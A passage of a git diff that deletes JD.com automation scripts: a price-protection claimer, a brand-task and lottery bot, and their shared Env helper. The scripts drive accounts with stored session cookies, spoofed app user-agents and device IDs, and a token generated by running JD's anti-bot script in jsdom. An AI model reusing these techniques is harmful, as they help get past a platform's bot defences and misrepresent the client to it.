(objval) { - try { - const objedval = JSON.parse(objval) - val = objedval ? this.lodash_get(objedval, paths, '') : val - } catch (e) { - val = '' - } - } - } - return val - } - - setdata(val, key) { - let issuc = false - if (/^@/.test(key)) { - const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) - const objdat = this.getval(objkey) - const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' - try { - const objedval = JSON.parse(objval) - this.lodash_set(objedval, paths, val) - issuc = this.setval(JSON.stringify(objedval), objkey) - } catch (e) { - const objedval = {} - this.lodash_set(objedval, paths, val) - issuc = this.setval(JSON.stringify(objedval), objkey) - } - } else { - issuc = this.setval(val, key) - } - return issuc - } - - getval(key) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.read(key) - } else if (this.isQuanX()) { - return $prefs.valueForKey(key) - } else if (this.isNode()) { - this.data = this.loaddata() - return this.data[key] - } else { - return (this.data && this.data[key]) || null - } - } - - setval(val, key) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.write(val, key) - } else if (this.isQuanX()) { - return $prefs.setValueForKey(val, key) - } else if (this.isNode()) { - this.data = this.loaddata() - this.data[key] = val - this.writedata() - return true - } else { - return (this.data && this.data[key]) || null - } - } - - initGotEnv(opts) { - this.got = this.got ? this.got : require('got') - this.cktough = this.cktough ? this.cktough : require('tough-cookie') - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() - if (opts) { - opts.headers = opts.headers ? opts.headers : {} - if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { - opts.cookieJar = this.ckjar - } - } - } - - get(opts, callback = () => { }) { - if (opts.headers) { - delete opts.headers['Content-Type'] - delete opts.headers['Content-Length'] - } - if (this.isSurge() || this.isLoon()) { - if (this.isSurge() && this.isNeedRewrite) { - opts.headers = opts.headers || {} - Object.assign(opts.headers, { - 'X-Surge-Skip-Scripting': false - }) - } - $httpClient.get(opts, (err, resp, body) => { - if (!err && resp) { - resp.body = body - resp.statusCode = resp.status - } - callback(err, resp, body) - }) - } else if (this.isQuanX()) { - if (this.isNeedRewrite) { - opts.opts = opts.opts || {} - Object.assign(opts.opts, { - hints: false - }) - } - $task.fetch(opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => callback(err) - ) - } else if (this.isNode()) { - this.initGotEnv(opts) - this.got(opts) - .on('redirect', (resp, nextOpts) => { - try { - if (resp.headers['set-cookie']) { - const ck = resp.headers['set-cookie'].map(this.cktough.Cookie.parse).toString() - if (ck) { - this.ckjar.setCookieSync(ck, null) - } - nextOpts.cookieJar = this.ckjar - } - } catch (e) { - this.logErr(e) - } - // this.ckjar.setCookieSync(resp.headers['set-cookie'].map(Cookie.parse).toString()) - }) - .then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => { - const { - message: error, - response: resp - } = err - callback(error, resp, resp && resp.body) - } - ) - } - } - - post(opts, callback = () => { }) { - // 如果指定了请求体, 但没指定`Content-Type`, 则自动生成 - if (opts.body && opts.headers && !opts.headers['Content-Type']) { - opts.headers['Content-Type'] = 'application/x-www-form-urlencoded' - } - if (opts.headers) delete opts.headers['Content-Length'] - if (this.isSurge() || this.isLoon()) { - if (this.isSurge() && this.isNeedRewrite) { - opts.headers = opts.headers || {} - Object.assign(opts.headers, { - 'X-Surge-Skip-Scripting': false - }) - } - $httpClient.post(opts, (err, resp, body) => { - if (!err && resp) { - resp.body = body - resp.statusCode = resp.status - } - callback(err, resp, body) - }) - } else if (this.isQuanX()) { - opts.method = 'POST' - if (this.isNeedRewrite) { - opts.opts = opts.opts || {} - Object.assign(opts.opts, { - hints: false - }) - } - $task.fetch(opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => callback(err) - ) - } else if (this.isNode()) { - this.initGotEnv(opts) - const { - url, - ..._opts - } = opts - this.got.post(url, _opts).then( - (resp) => { - const { - statusCode: status, - statusCode, - headers, - body - } = resp - callback(null, { - status, - statusCode, - headers, - body - }, body) - }, - (err) => { - const { - message: error, - response: resp - } = err - callback(error, resp, resp && resp.body) - } - ) - } - } - /** - * - * 示例:$.time('yyyy-MM-dd qq HH:mm:ss.S') - * :$.time('yyyyMMddHHmmssS') - * y:年 M:月 d:日 q:季 H:时 m:分 s:秒 S:毫秒 - * 其中y可选0-4位占位符、S可选0-1位占位符,其余可选0-2位占位符 - * @param {*} fmt 格式化参数 - * - */ - time(fmt) { - let o = { - 'M+': new Date().getMonth() + 1, - 'd+': new Date().getDate(), - 'H+': new Date().getHours(), - 'm+': new Date().getMinutes(), - 's+': new Date().getSeconds(), - 'q+': Math.floor((new Date().getMonth() + 3) / 3), - 'S': new Date().getMilliseconds() - } - if (/(y+)/.test(fmt)) fmt = fmt.replace(RegExp.$1, (new Date().getFullYear() + '').substr(4 - RegExp.$1.length)) - for (let k in o) - if (new RegExp('(' + k + ')').test(fmt)) - fmt = fmt.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ('00' + o[k]).substr(('' + o[k]).length)) - return fmt - } - - /** - * 系统通知 - * - * > 通知参数: 同时支持 QuanX 和 Loon 两种格式, EnvJs根据运行环境自动转换, Surge 环境不支持多媒体通知 - * - * 示例: - * $.msg(title, subt, desc, 'twitter://') - * $.msg(title, subt, desc, { 'open-url': 'twitter://', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) - * $.msg(title, subt, desc, { 'open-url': 'https://bing.com', 'media-url': 'https://github.githubassets.com/images/modules/open_graph/github-mark.png' }) - * - * @param {*} title 标题 - * @param {*} subt 副标题 - * @param {*} desc 通知详情 - * @param {*} opts 通知参数 - * - */ - msg(title = name, subt = '', desc = '', opts) { - const toEnvOpts = (rawopts) => { - if (!rawopts) return rawopts - if (typeof rawopts === 'string') { - if (this.isLoon()) return rawopts - else if (this.isQuanX()) return { - 'open-url': rawopts - } - else if (this.isSurge()) return { - url: rawopts - } - else return undefined - } else if (typeof rawopts === 'object') { - if (this.isLoon()) { - let openUrl = rawopts.openUrl || rawopts.url || rawopts['open-url'] - let mediaUrl = rawopts.mediaUrl || rawopts['media-url'] - return { - openUrl, - mediaUrl - } - } else if (this.isQuanX()) { - let openUrl = rawopts['open-url'] || rawopts.url || rawopts.openUrl - let mediaUrl = rawopts['media-url'] || rawopts.mediaUrl - return { - 'open-url': openUrl, - 'media-url': mediaUrl - } - } else if (this.isSurge()) { - let openUrl = rawopts.url || rawopts.openUrl || rawopts['open-url'] - return { - url: openUrl - } - } - } else { - return undefined - } - } - if (!this.isMute) { - if (this.isSurge() || this.isLoon()) { - $notification.post(title, subt, desc, toEnvOpts(opts)) - } else if (this.isQuanX()) { - $notify(title, subt, desc, toEnvOpts(opts)) - } - } - if (!this.isMuteLog) { - let logs = ['', '==============📣系统通知📣=============='] - logs.push(title) - subt ? logs.push(subt) : '' - desc ? logs.push(desc) : '' - console.log(logs.join('\n')) - this.logs = this.logs.concat(logs) - } - } - - log(...logs) { - if (logs.length > 0) { - this.logs = [...this.logs, ...logs] - } - console.log(logs.join(this.logSeparator)) - } - - logErr(err, msg) { - const isPrintSack = !this.isSurge() && !this.isQuanX() && !this.isLoon() - if (!isPrintSack) { - this.log('', `❗️${this.name}, 错误!`, err) - } else { - this.log('', `❗️${this.name}, 错误!`, err.stack) - } - } - - wait(time) { - return new Promise((resolve) => setTimeout(resolve, time)) - } - - done(val = {}) { - const endTime = new Date().getTime() - const costTime = (endTime - this.startTime) / 1000 - this.log('', `🔔${this.name}, 结束! 🕛 ${costTime} 秒`) - this.log() - if (this.isSurge() || this.isQuanX() || this.isLoon()) { - $done(val) - } - } - })(name, opts) -} diff --git a/backUp/jd_priceProtect_Mod.js b/backUp/jd_priceProtect_Mod.js deleted file mode 100644 index 0fd1aad..0000000 --- a/backUp/jd_priceProtect_Mod.js +++ /dev/null @@ -1,648 +0,0 @@ -/* -cron "5 11 2,7,12,17,22,27 * *" jd_priceProtect_Mod.js, tag:京东价格保护通知版 - */ -//版权归原作者,我只是加上了通知方便提醒朋友. - -const $ = new Env('京东价格保护通知版'); -let jsdom = require("jsdom"); -const { - JSDOM -} = jsdom; -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -let strNotify = ""; -let strAllNotify = ""; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') - console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async() => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - return; - } - UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - strNotify = ""; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - - await main() - if (strNotify) { - strAllNotify += `****【京东账号${$.index} ${$.nickName || $.UserName}】****\n` + strNotify+`\n\n`; - } - } - } - if($.isNode() && strAllNotify){ - await notify.sendNotify(`${$.name}`, strAllNotify); - } -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}) - -async function main() { - $.flag = false; - vo = await token(); - if (vo) { - if (vo.result === '0') { - await skuOnceApply(vo.token); - if ($.flag) { - await appliedSuccAmount() - } - } else { - $.log('获取token失败,请重试!') - } - } -} -async function token() { - vo = await jstoken(); - if (vo != null) { - return { - "result": "0", - "token": vo - } - } else { - return { - "result": "1", - "token": null - } - } -} -async function appliedSuccAmount() { - let body = { - "sid": "", - "type": "3", - "forcebot": "", - "num": 15 - } - return new Promise(resolve => { - $.post(taskUrl("siteppM_appliedSuccAmount", body), (err, resp, data) => { - try { - if (err) { - console.log(err); - console.log(`${$.name} API请求失败,请检查网路重试`); - strNotify = "保价失败:API请求失败,请检查网路重试"; - } else { - data = JSON.parse(data) - if (data) { - if (data.flag) { - console.log(`保价成功:获得${data.succAmount}元`); - strNotify = `保价成功:获得${data.succAmount}元`; - } else { - console.log("保价失败:没有需要保价的订单."); - //strNotify = "保价失败:没有需要保价的订单."; - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} -async function skuOnceApply(token) { - let body = { - "sid": "", - "type": "3", - "forcebot": "", - "token": token - } - return new Promise(resolve => { - $.post(taskUrl("siteppM_skuOnceApply", body), (err, resp, data) => { - try { - if (err) { - console.log(err) - console.log(`${$.name} API请求失败,请检查网路重试`) - //strNotify = "保价失败:API请求失败,请检查网路重试"; - } else { - data = JSON.parse(data) - if (data) { - if (data.flag) { - $.flag = true; - } else { - console.log(`保价失败:${data.responseMessage}`); - strNotify = `保价失败:${data.responseMessage}`; - } - } - } - } catch (e) { - $.logErr(e, resp) - } - finally { - resolve(data); - } - }) - }) -} -function taskUrl(function_id, body) { - return { - url: `https://api.m.jd.com/api?appid=siteppM&functionId=${function_id}&forcebot=&t=${new Date().getTime()}`, - body: `body=${encodeURIComponent(JSON.stringify(body))}`, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://msitepp-fm.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Accept": "application/json", - "User-Agent": UA, - "Referer": "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu", - "Cookie": cookie, - } - } -} -async function jstoken() { - let resourceLoader = new jsdom.ResourceLoader({ - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', - referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", - }); - let virtualConsole = new jsdom.VirtualConsole(); - var options = { - referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", - userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', - runScripts: "dangerously", - resources: resourceLoader, - // cookieJar, - includeNodeLocations: true, - storageQuota: 10000000, - pretendToBeVisual: true, - virtualConsole - }; - dom = new JSDOM(``, options); - await $.wait(1000) - try { - feSt = 's' - jab = new dom.window.JAB({ - bizId: 'jdjiabao', - initCaptcha: false - }) - return jab.getToken() - } catch (e) {} -} -// prettier-ignore -function TotalBean() { - return new Promise(async e => { - const n = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": UA, - "Accept-Language": "zh-cn", - Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - }; - $.get(n, (n, o, a) => { - try { - if (n) - $.logErr(n); - else if (a) { - if (1001 === (a = JSON.parse(a))["retcode"]) - return void($.isLogin = !1); - 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), - 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) - } else - console.log("京东服务器返回空数据") - } catch (e) { - $.logErr(e) - } - finally { - e() - } - }) - }) -} -function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { - return x.replace(/[xy]/g, function (x) { - var r = 16 * Math.random() | 0, - n = "x" == x ? r : 3 & r | 8; - return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), - uuid - }) -} -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } - : t; - let s = this.get; - return "POST" === e && (s = this.post), - new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, - this.http = new s(this), - this.data = null, - this.dataFile = "box.dat", - this.logs = [], - this.isMute = !1, - this.isNeedRewrite = !1, - this.logSeparator = "\n", - this.startTime = (new Date).getTime(), - Object.assign(this, e), - this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) - try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, - r = e && e.timeout ? e.timeout : r; - const[o, h] = i.split("@"), - n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) - return {}; { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) - return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) - return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), - r = s ? this.getval(s) : ""; - if (r) - try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), - o = this.getval(i), - h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), - s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), - s = this.setval(JSON.stringify(o), i) - } - } else - s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), - this.cktough = this.cktough ? this.cktough : require("tough-cookie"), - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, - t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), - this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), - e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) - this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), - e(t, s, i) - }); - else if (this.isQuanX()) - t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) - new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) - return t; - if ("string" == typeof t) - return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } - : this.isSurge() ? { - url: t - } - : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), - s && t.push(s), - i && t.push(i), - console.log(t.join("\n")), - this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), - console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), - this.log(), - (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - } - (t, e) -} diff --git a/backUp/jd_productZ4Brand.js b/backUp/jd_productZ4Brand.js deleted file mode 100644 index 0ee49b7..0000000 --- a/backUp/jd_productZ4Brand.js +++ /dev/null @@ -1,360 +0,0 @@ -/* -特务Zx佳沛 -cron 23 0,9 24-27 7 * jd_productZ4Brand.js -要跑2次,第一次做任务和脚本内互助,第二次才够币抽奖 -*/ -const $ = new Env('特务Z'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let cookiesArr = []; -let UA = ``; -$.allInvite = []; -let useInfo = {}; -$.helpEncryptAssignmentId = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.8;14.6;${randomWord(false,40,40)};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - try{ - await main(); - }catch (e) { - console.log(JSON.stringify(e)); - } - await $.wait(1000); - } - // let res = []; - // try{res = await getAuthorShareCode('https://raw.githubusercontent.com/star261/jd/main/code/ProductZ4Brand.json');}catch (e) {} - // if(!res){ - // try{res = await getAuthorShareCode('https://gitee.com/star267/share-code/raw/master/ProductZ4Brand.json');}catch (e) {} - // if(!res){res = [];} - // } - // for (let i = 0; i < 1; i++) { - // $.cookie = cookiesArr[i]; - // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - // $.encryptProjectId = useInfo[$.nickName]; - // for (let j = 0; j < res.length; j++) { - // $.code = res[j]; - // console.log(`${$.UserName},去助力:${$.code}`); - // await takePostRequest('help'); - // await $.wait(2000); - // } - // } - - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i]; - $.canHelp = true; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.encryptProjectId = useInfo[$.nickName]; - for (let j = 0; j < $.allInvite.length && $.canHelp; j++) { - $.codeInfo = $.allInvite[j]; - $.code = $.codeInfo.code; - if($.UserName === $.codeInfo.userName){ - continue; - } - if( $.codeInfo.time > 4){ - continue; - } - console.log(`${$.UserName},去助力:${$.code}`); - await takePostRequest('help'); - await $.wait(2000); - } - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) - -async function main() { - $.activityInfo = {}; - await takePostRequest('showSecondFloorRunInfo'); - if(JSON.stringify($.activityInfo) === '{}'){ - console.log(`获取活动详情失败`); - return ; - } - console.log(`获取活动详情成功`); - if(!$.activityInfo.activityUserInfo || !$.activityInfo.activityBaseInfo || !$.activityInfo.activityBaseInfo.activityId){ - console.log(`活动信息异常`); - return; - } - $.activityId = $.activityInfo.activityBaseInfo.activityId; - console.log(`当前活动ID:${$.activityId},call值:${$.activityInfo.activityUserInfo.userStarNum}`); - $.callNumber = $.activityInfo.activityUserInfo.userStarNum; - $.encryptProjectId = $.activityInfo.activityBaseInfo.encryptProjectId; - useInfo[$.nickName] = $.encryptProjectId; - await $.wait(2000); - $.taskList = []; - await takePostRequest('superBrandTaskList'); - await $.wait(2000); - await doTask(); - await $.wait(2000); - $.runFlag = true; - for (let i = 0; i < 4 && $.runFlag && Number($.callNumber) > 200; i++) { - console.log(`进行抽奖`); - await 